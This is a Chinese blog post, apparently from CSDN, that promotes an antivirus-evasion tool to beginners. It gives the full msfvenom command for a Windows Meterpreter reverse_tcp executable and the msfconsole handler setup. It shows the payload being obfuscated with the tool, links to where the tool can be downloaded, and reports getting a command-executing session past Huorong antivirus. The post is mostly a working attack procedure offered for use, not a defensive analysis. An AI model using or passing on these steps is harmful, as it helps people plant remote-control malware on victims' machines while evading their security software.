强推!这款工具非常强,小白也能绕过杀软!

17 篇文章 0 订阅
11 篇文章 1 订阅

1.环境

攻击机:kali Linux 10.211.55.23

受害机:Windows10 360 主动防御

Windows7 火绒主动防御

2.生成 exe 文件

在 kali Linux 下使用 msfvenom 生成一个 64 位的 exe 文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.211.55.23 lport=4444 -f exe -o 1.exe

图片

将文件分别发送至 Windows10 上,此时需要将受害者的机器关闭全部杀软

使用掩日 3.0 进行免杀处理(这里会提示报错,需要安装一个软件,按照提示安装即可)

下载地址:

https://github.com/1y0n/av_evasion_tool/

将文件直接拖过来就行了

图片

最后会生成一个 YR_1.exe 文件

图片

将这两个文件分别压缩备份,发送到 window10 和 window7 上

图片

3.静态测试

打开各自的杀软进行测试

3.1 360

图片

均报毒

3.2 火绒

图片

只有一个文件报毒

4.上线测试

攻击机配置

msfconsole
use exploit/multi/handler
set LHOST 10.211.55.23
set LPORT 4444

set payload windows/x64/meterpreter/reverse_tcp

exploit

图片

4.1 360 下

4.2.1 1..exe

直接 gg

图片

4.2.2 免杀版 1.exe

直接 gg

图片

4.3 火绒

4.3.1. 1.exe

gg

图片

4.3.2 免杀版 1.exe

上线正常

图片

执行命令

图片

总结

总体上来说,这款免杀工具已经是非常强了,而且公开了这么久,还支持部分免杀,很厉害了!👍

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值